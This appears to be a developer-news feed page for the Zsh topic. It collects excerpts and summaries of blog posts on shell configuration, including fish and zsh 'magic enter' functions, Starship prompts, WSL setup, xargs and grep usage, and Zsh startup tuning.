Two of the most common commands I run when I cd into a directory are: git status (which i do through git-number) ls -lh (aliased automatically as ll through fish) If this directory is not a git repo, then I usually am thinking of command 2. If however it is a git repository then I'd like to know if any files have been changed in this directory and which ones specifically (which is command 1). Wouldn't it be nice if I could just hit the ↩ (enter key) and have this automatically happen? Your browser doesn't support HTML5 video. Download the video instead. Solution for fish users ## If you're using fish, I got you covered: # filename: fish/conf.d/magic-enter.fish function magic-enter-cmd --description "Issue git status or ls on hitting enter in a dir" set -l cmd ll set -l is_git_repository (fish -c "git rev-parse --is-inside-work-tree >&2" 2>| grep true) # Special variable indicating git. set -l in_root_folder (fish -c "git rev-parse --show-toplevel >&2" 2>| grep (pwd)) set -l repo_has_changes (git status -s --ignore-submodules=dirty) if test -n "$is_git_repository" if test -n "$in_root_folder" if test -n "$repo_has_changes" set cmd git-number end end end echo $cmd end function magic-enter set -l cmd (commandline) if test -z "$cmd" commandline -r (magic-enter-cmd) commandline -f suppress-autosuggestion end commandline -f execute end bind \r magic-enter Solution for zsh users ## If you're using zsh, I adapted the native solution like so: # filename: magic-enter.plugin.zsh # Default commands : ${MAGIC_ENTER_GIT_COMMAND:="git-number"} # run when in a git repository : ${MAGIC_ENTER_OTHER_COMMAND:="ll"} # run anywhere else magic-enter() { # Only run MAGIC_ENTER commands when in PS1 and command line is empty # http://zsh.sourceforge.net/Doc/Release/Zsh-Line-Editor.html#User_002dDefined-Widgets if [[ -n "$BUFFER" || "$CONTEXT" != start ]]; then return fi is_git_repository=$(git rev-parse --is-inside-work-tree) in_repo_root_folder=$(git rev-parse --show-toplevel) repo_has_chan

## Maybe I can Stay in NuShell -or- Living in a Diverse Land of Shells

DevFeed: [Maybe I can Stay in NuShell -or- Living in a Diverse Land of Shells](<https://devfeed.tech/articles/maybe-i-can-stay-in-nushell-or-living-in-a-diverse-land-of-shells-28206.md>)

Original publisher: [Read original article](<http://fuzzyblog.io/blog/nushell/2022/07/20/maybe-i-can-stay-in-nushell.html>)

Author: Fuzzygroup

Published: 2022-07-20T09:36:00Z

Content type: opinion

Language: en

Sources: [Scott Johnson](<https://devfeed.tech/sources/scott-johnson.md>)

Topics: [Shell](<https://devfeed.tech/topics/shell.md>), [Command-line interface](<https://devfeed.tech/topics/cli.md>), [Bash](<https://devfeed.tech/topics/bash.md>), [Zsh](<https://devfeed.tech/topics/zsh.md>)

Tags: [bash](<https://devfeed.tech/tags/bash.md>), [command](<https://devfeed.tech/tags/command.md>), [nushell](<https://devfeed.tech/tags/nushell.md>), [rails](<https://devfeed.tech/tags/rails.md>), [ruby](<https://devfeed.tech/tags/ruby.md>), [rvm](<https://devfeed.tech/tags/rvm.md>), [shell](<https://devfeed.tech/tags/shell.md>), [zsh](<https://devfeed.tech/tags/zsh.md>)

### AI overview

The author explains that they can continue using NuShell as their main shell while switching to Bash or Zsh when tools such as RVM require them. A Rails project is successfully created after switching to Bash.

### Source excerpt

I really, really like NuShell. The realization that maybe I had to leave was, I'll admit, mildly crushing. And then I just had the realization that maybe I don't have to leave NuShell and slink back to the dirty, byte infested corners of Bash and Zsh. Here's what just happened: /Users/sjohnson/Sync/coding/flow_analytics/open_source〉rails new pool_api --api Rails is not currently installed on this system. To get the latest version, simply type: $ sudo gem install rails You can then rerun your "rails" command. /Users/sjohnson/Sync/coding/flow_analytics/open_source〉ruby -v 07/20/2022 05:34:41 AM ruby 2.6.8p205 (2021-07-07 revision 67951) [universal.x86_64-darwin21] /Users/sjohnson/Sync/coding/flow_analytics/open_source〉rvm use And that was the point when I realized "Oh yeah - RVM doesn't work on NuShell" and then it struck me - I can run Bash: /Users/sjohnson/Sync/coding/flow_analytics/open_source〉/bin/bash 07/20/2022 05:34:57 AM bash: /Users/sjohnson/Library/Python/2.7/bin/powerline-config: /usr/bin/python: bad interpreter: No such file or directory bash: /Users/sjohnson/Library/Python/2.7/bin/powerline-config: /usr/bin/python: bad interpreter: No such file or directory bash: /Users/sjohnson/.iterm2_shell_integration.nu: No such file or directory ERROR: Can't find Ruby library file or shared library lunchy usage: dirname string [...] The default interactive shell is now zsh. To update your account to use zsh, please run `chsh -s /bin/zsh`. For more details, please visit https://support.apple.com/kb/HT208050. [sjohnson:~/Sync/coding/flow_analytics/open_source] [base] $ rails new pool_api --api create create README.md create Rakefile create .ruby-version create config.ru create .gitignore create .gitattributes create Gemfile run git init from "." ... So maybe my system can mostly run NuShell and I can drop in and out of Bash / Zsh when I need different things. Fingers Crossed.

## I switched to Zsh

DevFeed: [I switched to Zsh](<https://devfeed.tech/articles/i-switched-to-zsh-27672.md>)

Original publisher: [Read original article](<https://gagor.pro/2021/12/i-switched-to-zsh/>)

Author: Tom

Published: 2021-12-16T00:00:00Z

Content type: tutorial

Language: en

Sources: [Tomasz Gągor](<https://devfeed.tech/sources/tomasz-gagor.md>)

Topics: [Zsh](<https://devfeed.tech/topics/zsh.md>), [Bash](<https://devfeed.tech/topics/bash.md>), [Terminal](<https://devfeed.tech/topics/terminal.md>), [Command-line interface](<https://devfeed.tech/topics/cli.md>), [configuration](<https://devfeed.tech/topics/configuration.md>)

Tags: [bash](<https://devfeed.tech/tags/bash.md>), [configuration](<https://devfeed.tech/tags/configuration.md>), [debian](<https://devfeed.tech/tags/debian.md>), [developer-tools](<https://devfeed.tech/tags/developer-tools.md>), [fonts](<https://devfeed.tech/tags/fonts.md>), [git](<https://devfeed.tech/tags/git.md>), [installation](<https://devfeed.tech/tags/installation.md>), [linux](<https://devfeed.tech/tags/linux.md>), [macos](<https://devfeed.tech/tags/macos.md>), [oh-my-zsh](<https://devfeed.tech/tags/oh-my-zsh.md>), [powerlevel10k](<https://devfeed.tech/tags/powerlevel10k.md>), [productivity](<https://devfeed.tech/tags/productivity.md>), [python](<https://devfeed.tech/tags/python.md>), [shell](<https://devfeed.tech/tags/shell.md>), [switching](<https://devfeed.tech/tags/switching.md>), [terminal](<https://devfeed.tech/tags/terminal.md>), [ubuntu](<https://devfeed.tech/tags/ubuntu.md>), [zsh](<https://devfeed.tech/tags/zsh.md>)

### AI overview

A practical guide to switching from Bash to Zsh and configuring Oh My Zsh, Powerlevel10k, plugins, fonts, and Git status indicators for an improved terminal workflow.

### Source excerpt

A guide to switching from bash to Zsh, with Oh My Zsh, Powerlevel10k, and useful plugins for a better terminal experience.

## Configure Windows Terminal with WSL, Ubuntu, Zsh, and oh-my-zsh

DevFeed: [Configure Windows Terminal with WSL, Ubuntu, Zsh, and oh-my-zsh](<https://devfeed.tech/articles/windows-terminal-and-wsl-config-fast-simple-and-easy-guide-10713.md>)

Original publisher: [Read original article](<https://technotim.com/posts/windows-terminal-wsl/>)

Author: Techno Tim

Published: 2021-02-23T14:00:00Z

Content type: tutorial

Language: en

Sources: [Techno Tim](<https://devfeed.tech/sources/techno-tim.md>)

Topics: [Terminal](<https://devfeed.tech/topics/terminal.md>), [Windows Subsystem for Linux](<https://devfeed.tech/topics/wsl.md>), [Windows](<https://devfeed.tech/topics/windows.md>), [Ubuntu](<https://devfeed.tech/topics/ubuntu.md>), [Zsh](<https://devfeed.tech/topics/zsh.md>), [PowerShell](<https://devfeed.tech/topics/powershell.md>), [Open Source](<https://devfeed.tech/topics/open-source.md>)

Tags: [guide](<https://devfeed.tech/tags/guide.md>), [homelab](<https://devfeed.tech/tags/homelab.md>), [linux](<https://devfeed.tech/tags/linux.md>), [open-source](<https://devfeed.tech/tags/open-source.md>), [powershell](<https://devfeed.tech/tags/powershell.md>), [terminal](<https://devfeed.tech/tags/terminal.md>), [tutorial](<https://devfeed.tech/tags/tutorial.md>), [ubuntu](<https://devfeed.tech/tags/ubuntu.md>), [windows](<https://devfeed.tech/tags/windows.md>), [wsl](<https://devfeed.tech/tags/wsl.md>)

### AI overview

A tutorial showing how to configure Microsoft Windows Terminal with WSL, install Ubuntu, and set up Zsh and oh-my-zsh. It also describes using Windows and Linux environments alongside PowerShell and cmd.

### Source excerpt

Lots of people ask which terminal I use on Windows and how I configure it.It's pretty simple, I use the Microsoft Windows Terminal and it's a fantastic terminal on Windows.It is free and open source.With Windows Terminal, you can install and configure different environments for Windows and Linux.You can choose between Ubuntu or any other WSL 1 or WSL 2 (Windows Subsystem for Linux) environment...

## Hacktoberfest: Speed up your workflows with ZSH and command line aliases!

DevFeed: [Hacktoberfest: Speed up your workflows with ZSH and command line aliases!](<https://devfeed.tech/articles/hacktoberfest-speed-up-your-workflows-with-zsh-and-command-line-aliases-28381.md>)

Original publisher: [Read original article](<https://siddroid.com/post/post-hacktoberfest-kotlin-mumbai-git-alias-zsh-siddhesh-patil/>)

Author: Siddhesh Patil

Published: 2020-10-24T11:07:06Z

Content type: tutorial

Language: en

Sources: [Sid Patil - Android Engineer and Kotlin Advocate](<https://devfeed.tech/sources/sid-patil-android-engineer-and-kotlin-advocate.md>)

Topics: [Zsh](<https://devfeed.tech/topics/zsh.md>), [Command-line interface](<https://devfeed.tech/topics/cli.md>), [Bash](<https://devfeed.tech/topics/bash.md>), [Git](<https://devfeed.tech/topics/git.md>), [Android](<https://devfeed.tech/topics/android.md>)

Tags: [best-android-developer-groups-in-india](<https://devfeed.tech/tags/best-android-developer-groups-in-india.md>), [command-line](<https://devfeed.tech/tags/command-line.md>), [commands](<https://devfeed.tech/tags/commands.md>), [customizing-zsh](<https://devfeed.tech/tags/customizing-zsh.md>), [developer-communities-in-mumbai](<https://devfeed.tech/tags/developer-communities-in-mumbai.md>), [faster-workflows-using-zsh](<https://devfeed.tech/tags/faster-workflows-using-zsh.md>), [git](<https://devfeed.tech/tags/git.md>), [guide](<https://devfeed.tech/tags/guide.md>), [hacktoberfest-mumbai](<https://devfeed.tech/tags/hacktoberfest-mumbai.md>), [how-to](<https://devfeed.tech/tags/how-to.md>), [installation](<https://devfeed.tech/tags/installation.md>), [kotlin-user-group-mumbai](<https://devfeed.tech/tags/kotlin-user-group-mumbai.md>), [kug](<https://devfeed.tech/tags/kug.md>), [productivity](<https://devfeed.tech/tags/productivity.md>), [shell](<https://devfeed.tech/tags/shell.md>), [siddhesh-patil-software-evangelist](<https://devfeed.tech/tags/siddhesh-patil-software-evangelist.md>), [using-ohmyzsh-with-zsh](<https://devfeed.tech/tags/using-ohmyzsh-with-zsh.md>), [zsh](<https://devfeed.tech/tags/zsh.md>)

### AI overview

A tutorial on using Zsh, Oh My Zsh, and command-line aliases to streamline Android development workflows and common Git tasks.

### Source excerpt

Boost your productivity and workflows while working on Android projects through Z-shell and OhMyZsh. We will learn how to escape the GUI and perform daily git actions through custom command-line aliases.

## Fixing zsh Compaudit Problem on OSX Catalina

DevFeed: [Fixing zsh Compaudit Problem on OSX Catalina](<https://devfeed.tech/articles/fixing-zsh-compaudit-problem-on-osx-catalina-28211.md>)

Original publisher: [Read original article](<http://fuzzyblog.io/blog/osx/2020/06/04/fixing-zsh-compaudit-problem-on-osx-catalina.html>)

Author: Fuzzygroup

Published: 2020-06-04T00:00:00Z

Content type: tutorial

Language: en

Sources: [Scott Johnson](<https://devfeed.tech/sources/scott-johnson.md>)

Topics: [Zsh](<https://devfeed.tech/topics/zsh.md>), [chmod](<https://devfeed.tech/topics/chmod.md>), [osx](<https://devfeed.tech/topics/osx.md>), [Shell](<https://devfeed.tech/topics/shell.md>)

Tags: [catalina](<https://devfeed.tech/tags/catalina.md>), [chmod](<https://devfeed.tech/tags/chmod.md>), [osx](<https://devfeed.tech/tags/osx.md>), [shell](<https://devfeed.tech/tags/shell.md>), [zsh](<https://devfeed.tech/tags/zsh.md>)

### AI overview

A troubleshooting article about resolving zsh compinit's insecure-directories warning on OSX Catalina. It identifies directory permissions as the issue and gives the command `compaudit | xargs chmod g-w`, reported to fix the problem.

### Source excerpt

Ever since OSX Catalina, every time I open a new shell window I get this error: zsh compinit: insecure directories, run compaudit for list. Ignore insecure directories and continue [y] or abort compinit [n]? y (eval):32: command not found: complete The issue with complete isn't the problem here - it is the insecure directories issue. After a bunch of googling, I found this command: compaudit | xargs chmod g-w which fixed the issue entirely.

## Setting Up Windows for JavaScript Development with WSL, Node.js, Yarn, VS Code, and Zsh

DevFeed: [Setting Up Windows for JavaScript Development with WSL, Node.js, Yarn, VS Code, and Zsh](<https://devfeed.tech/articles/setting-up-windows-for-javascript-development-the-right-way-wsl-terminal-nvm-node-yarn-vs-code-zsh-10711.md>)

Original publisher: [Read original article](<https://technotim.com/posts/windows-developer-setup/>)

Author: Techno Tim

Published: 2020-03-12T14:00:00Z

Content type: tutorial

Language: en

Sources: [Techno Tim](<https://devfeed.tech/sources/techno-tim.md>)

Topics: [Development](<https://devfeed.tech/topics/development.md>), [JavaScript](<https://devfeed.tech/topics/javascript.md>), [Windows](<https://devfeed.tech/topics/windows.md>), [Windows Subsystem for Linux](<https://devfeed.tech/topics/wsl.md>), [Ubuntu](<https://devfeed.tech/topics/ubuntu.md>), [Zsh](<https://devfeed.tech/topics/zsh.md>), [npm](<https://devfeed.tech/topics/npm.md>), [Yarn](<https://devfeed.tech/topics/yarn.md>), [Command-line interface](<https://devfeed.tech/topics/cli.md>), [vs-code](<https://devfeed.tech/topics/vs-code.md>)

Tags: [coding](<https://devfeed.tech/tags/coding.md>), [install](<https://devfeed.tech/tags/install.md>), [javascript](<https://devfeed.tech/tags/javascript.md>), [npm](<https://devfeed.tech/tags/npm.md>), [tutorial](<https://devfeed.tech/tags/tutorial.md>), [ubuntu](<https://devfeed.tech/tags/ubuntu.md>), [vs-code](<https://devfeed.tech/tags/vs-code.md>), [windows](<https://devfeed.tech/tags/windows.md>), [wsl](<https://devfeed.tech/tags/wsl.md>)

### AI overview

A beginner tutorial for configuring a Windows machine for JavaScript development. It covers Windows Terminal, WSL, Ubuntu, Zsh with Oh My Zsh, Yarn, npm, NVM, Node.js, VS Code, and Git SSH access to GitHub.

### Source excerpt

You want to get started developing JavaScript with NodeJS, ReactJS, or AngularJS but you're not sure how to get started? This is a complete, step by step guide on how to configure your Windows machines for JavaScript development the right way.You'll learn how to install and configure Windows, the new Windows Terminal, WSL, Ubuntu, ZSH with Oh My ZSH, yarn, NPM, NVM, NodeJS, and VS Code.We'll ...

## Using Xargs to Get Past Argument List Too Long

DevFeed: [Using Xargs to Get Past Argument List Too Long](<https://devfeed.tech/articles/using-xargs-to-get-past-argument-list-too-long-28190.md>)

Original publisher: [Read original article](<http://fuzzyblog.io/blog/linux/2019/12/12/using-xargs-to-get-past-argument-list-too-long.html>)

Author: Fuzzygroup

Published: 2019-12-12T00:00:00Z

Content type: tutorial

Language: en

Sources: [Scott Johnson](<https://devfeed.tech/sources/scott-johnson.md>)

Topics: [JSON](<https://devfeed.tech/topics/json.md>), [Zsh](<https://devfeed.tech/topics/zsh.md>), [data](<https://devfeed.tech/topics/data.md>)

Tags: [json](<https://devfeed.tech/tags/json.md>), [linux](<https://devfeed.tech/tags/linux.md>), [zsh](<https://devfeed.tech/tags/zsh.md>)

### AI overview

A short tutorial explains how to use find and xargs to search approximately 25,000 JSON files without triggering the shell's "argument list too long" error. It also shows how to list only matching filenames with xargs and grep's -l option.

### Source excerpt

This one is a quick one. I have about 25,000 files in a directory that I need to grep across. I tried: grep '"class":0' *.json | more zsh: argument list too long: grep That's a problem because when the argument list is too long, nothing can happen. The solution here is a combination of find and xargs, specifically: find . -name '*.json' | xargs grep '"class":0' Here's the output from this: ./davidson-data-266118b4178f11ea80474c3275928de7.json:{"count":3,"hate_speech":3,"offensive_speech":0,"neither":0,"class":0,"tweet":"\"@JPantsdotcom @Todd__Kincannon @the__realtony I'm partial You should be able to use an approach like this: find -name '*.json' -exec grep '"class":0' but the embedded grep in find doesn't accept that and fails with this error: find: illegal option -- n usage: find [-H | -L | -P] [-EXdsx] [-f path] path ... [expression] find [-H | -L | -P] [-EXdsx] -f path [path ...] [expression] The closest that I can get to make this work is: find . -name '*.json' -exec grep 'class' {} + and that's not an exact match so, sigh. If we return to the original approach and add a -l option flag then we can list only filenames: find . -name '*.json' | xargs grep -l '"class":0' See Also Stack Overflow on Xargs Stack Overflow on Grep Argument List Too Long

## Remove MacOS Catalina zsh nagging

DevFeed: [Remove MacOS Catalina zsh nagging](<https://devfeed.tech/articles/remove-macos-catalina-zsh-nagging-37343.md>)

Original publisher: [Read original article](<https://muffinman.io/blog/remove-macos-catalina-zsh-nagging/>)

Author: Stanko

Published: 2019-12-10T00:00:00Z

Content type: tutorial

Language: en

Sources: [Stanko Tadić](<https://devfeed.tech/sources/stanko-tadic.md>)

Topics: [macOS](<https://devfeed.tech/topics/macos.md>), [Zsh](<https://devfeed.tech/topics/zsh.md>), [Bash](<https://devfeed.tech/topics/bash.md>), [Shell](<https://devfeed.tech/topics/shell.md>), [Terminal](<https://devfeed.tech/topics/terminal.md>)

Tags: [apple](<https://devfeed.tech/tags/apple.md>), [bash](<https://devfeed.tech/tags/bash.md>), [catalina](<https://devfeed.tech/tags/catalina.md>), [export](<https://devfeed.tech/tags/export.md>), [macos](<https://devfeed.tech/tags/macos.md>), [make](<https://devfeed.tech/tags/make.md>), [oh-my-zsh](<https://devfeed.tech/tags/oh-my-zsh.md>), [shell](<https://devfeed.tech/tags/shell.md>), [terminal](<https://devfeed.tech/tags/terminal.md>), [zsh](<https://devfeed.tech/tags/zsh.md>)

### AI overview

A guide for silencing the macOS Catalina warning about the default shell changing from Bash to zsh by setting BASH_SILENCE_DEPRECATION_WARNING=1 in .bash_profile or .bashrc.

### Source excerpt

Yesterday I updated my work laptop to MacOS Catalina.To be able to use AirPods Pro with it :/ Apple made a change and switched the default shell to zsh (instead of bash). From what I have read, the reason is a licensing issue. Bash is not gone and everything will work like it used to. But every time you open a terminal, you will be greeted by this message: If you are like me, and not ready to make the switch to zsh, you can silence this warning by putting this into your .bash_profile (or .bashrc). export BASH_SILENCE_DEPRECATION_WARNING=1 Why I don't want to switch? # Everything in my workflow is heavily customized and I'm really used to it. For example, I'm using bash-it with a custom theme for years now. It is heavily inspired by Oh My Zsh, similar zsh framework. Still, it will take me some time to migrate everything. I will eventually switch to zsh, but at the moment it is not high on my list of priorities.

## Improving Your Terminal Prompt with a Starship

DevFeed: [Improving Your Terminal Prompt with a Starship](<https://devfeed.tech/articles/improving-your-terminal-prompt-with-a-starship-28351.md>)

Original publisher: [Read original article](<http://fuzzyblog.io/blog/terminal/2019/10/26/improving-your-terminal-prompt-with-a-starship.html>)

Author: Fuzzygroup

Published: 2019-10-26T00:00:00Z

Content type: tutorial

Language: en

Sources: [Scott Johnson](<https://devfeed.tech/sources/scott-johnson.md>)

Topics: [Terminal](<https://devfeed.tech/topics/terminal.md>), [Shell](<https://devfeed.tech/topics/shell.md>), [Zsh](<https://devfeed.tech/topics/zsh.md>), [Bash](<https://devfeed.tech/topics/bash.md>), [cross-platform](<https://devfeed.tech/topics/cross-platform.md>), [Homebrew](<https://devfeed.tech/topics/homebrew.md>), [Rust](<https://devfeed.tech/topics/rust.md>), [Git](<https://devfeed.tech/topics/git.md>), [Amazon EC2](<https://devfeed.tech/topics/amazon-ec2.md>)

Tags: [bash](<https://devfeed.tech/tags/bash.md>), [cross-platform](<https://devfeed.tech/tags/cross-platform.md>), [git](<https://devfeed.tech/tags/git.md>), [homebrew](<https://devfeed.tech/tags/homebrew.md>), [how-to](<https://devfeed.tech/tags/how-to.md>), [osx](<https://devfeed.tech/tags/osx.md>), [prompt](<https://devfeed.tech/tags/prompt.md>), [rust](<https://devfeed.tech/tags/rust.md>), [starship](<https://devfeed.tech/tags/starship.md>), [terminal](<https://devfeed.tech/tags/terminal.md>), [zsh](<https://devfeed.tech/tags/zsh.md>)

### AI overview

This tutorial explains how to improve a terminal prompt with Starship, a Rust-powered cross-shell prompt. It provides Homebrew installation and Zsh initialization commands for macOS, and describes information the prompt can show, including the current directory, Git status, Ruby version, and AWS region.

### Source excerpt

Photo courtesy of my boss and friend, Dave Sifry who is in London right now attending MozFest; lucky guy! I have a lot of computer skills. I can program in multiple languages, I can remember how to use Norton Utilities for DOS, I can remember how to use Sun OS, I can tell you about not HTML, not XML, not SGML but GML (which begat SGML which in turn begat HTML which in turn begat XML), etc. One of those computer skills that I don't have is *nix shell scripting - I suck at Bash; I suck at Zshell, etc. And *nix shell scripting is how you customize your Terminal prompt. Now I know this sounds like Nerd minutiae (and it is) but your Terminal prompt is this rich land of information (or it can be; normally mine isn't). About 6 months ago, Sean Kennedy, my pairing partner in crime, got me to change over to Zshell from Bash and, in doing so, update my prompt. My prompt now looks like this: And that's damn good. I mean it tells me the git repo and everything. That's awesome. But, and this is a big but - if you have to customize it with bash, we can do better. The easy way to do better is to use Starship aka "The cross-shell prompt for astronauts". This is a Rust powered prompt that is designed for: ease of use cross platform compatibilty customization Here's how to get going with it on OSX: Install it with HomeBrew: brew install starship Add the following to the END of ~/.zshrc: eval "$(starship init zsh)" Source it with: source ~/.zshrc One of the reasons the prompt is so damn important isn't your local box but when you're logged into remote boxes such as AWS EC2 instances. I cannot say just how much I wish this had existed when I was maintaining a large cluster of EC2 instances that I used to log into daily. Sigh. Here's how my prompt looks out of the box: I haven't delved too deeply into customization but the fact that I can use emojis to display my terminal state including shrug for untracked fills me a deep and unending joy: Now if you're not a hard core developer nerd,

## Configuring Shell Prompts to Warn About Privileged and Production Environments

DevFeed: [Configuring Shell Prompts to Warn About Privileged and Production Environments](<https://devfeed.tech/articles/loud-subshells-29166.md>)

Original publisher: [Read original article](<https://www.latacora.com/blog/2018/06/21/loud-subshells/>)

Published: 2018-06-21T16:21:00Z

Content type: tutorial

Language: en

Sources: [Latacora](<https://devfeed.tech/sources/latacora.md>)

Topics: [Shell](<https://devfeed.tech/topics/shell.md>), [Bash](<https://devfeed.tech/topics/bash.md>), [configuration](<https://devfeed.tech/topics/configuration.md>), [Zsh](<https://devfeed.tech/topics/zsh.md>), [systems](<https://devfeed.tech/topics/systems.md>), [POSIX](<https://devfeed.tech/topics/posix.md>), [Terminal](<https://devfeed.tech/topics/terminal.md>)

Tags: [aws](<https://devfeed.tech/tags/aws.md>), [bash](<https://devfeed.tech/tags/bash.md>), [configuration](<https://devfeed.tech/tags/configuration.md>), [posix](<https://devfeed.tech/tags/posix.md>), [shell](<https://devfeed.tech/tags/shell.md>), [ssh](<https://devfeed.tech/tags/ssh.md>), [systems](<https://devfeed.tech/tags/systems.md>), [terminal](<https://devfeed.tech/tags/terminal.md>), [variable](<https://devfeed.tech/tags/variable.md>), [zsh](<https://devfeed.tech/tags/zsh.md>)

### AI overview

This article explains how to make shell prompts more noticeable when users have elevated privileges or access to sensitive environments. It discusses shell differences, prompt configuration, and approaches such as rc-less shells, dedicated environment variables, and sourced scripts.

### Source excerpt

Default shells usually end in $. Unless you're root and it's #. That tradition has been around forever: people recognized the need to highlight you're not just some random shmoe. These days we have lots of snazzy shell magic. You might still su, but you're more likely to sudo. We still temporarily assume extra privileges. If you have access to more than one set of systems, like production and staging, you probably have ways of putting on a particular hat. Some combination of setting an environment variable, adding a key to ssh-agent, or assuming an AWS role with aws-vault. You know, so you don't accidentally blow away prod.

## Speeding up my ZSH load time

DevFeed: [Speeding up my ZSH load time](<https://devfeed.tech/articles/speeding-up-my-zsh-load-time-37845.md>)

Original publisher: [Read original article](<https://carlosbecker.com/posts/speeding-up-zsh/>)

Author: Carlos Alexandro Becker

Published: 2016-04-10T00:00:00Z

Content type: opinion

Language: en

Sources: [Carlos Becker](<https://devfeed.tech/sources/carlos-becker.md>)

Topics: [Zsh](<https://devfeed.tech/topics/zsh.md>), [Terminal](<https://devfeed.tech/topics/terminal.md>), [dotfiles](<https://devfeed.tech/topics/dotfiles.md>), [execution](<https://devfeed.tech/topics/execution.md>), [prompt](<https://devfeed.tech/topics/prompt.md>)

Tags: [osx](<https://devfeed.tech/tags/osx.md>), [pull-requests](<https://devfeed.tech/tags/pull-requests.md>), [terminal](<https://devfeed.tech/tags/terminal.md>), [zsh](<https://devfeed.tech/tags/zsh.md>)

### AI overview

The author describes optimizing Zsh startup time after migrating dotfiles. By profiling shell loading, lazy-loading components, removing redundant checks and code, and adjusting file-checking logic, the reported startup time improved from almost 10 seconds initially to about 2 seconds with antibody, and later from about 0.7 seconds to about 0.4 seconds. The author keeps completion and the existing prompt enabled despite identifying them as further optimization options.

### Source excerpt

This is the story on how I sped up my terminal load time.

[Next page](<https://devfeed.tech/topics/zsh.md?cursor=WyIyMDE2LTA0LTEwVDAwOjAwOjAwKzAwOjAwIiwgIjBmMDU4Mzk3LWUxZTItNDNiOS1iZTRhLTcxMDI0ZTI3MTNlNCJd>)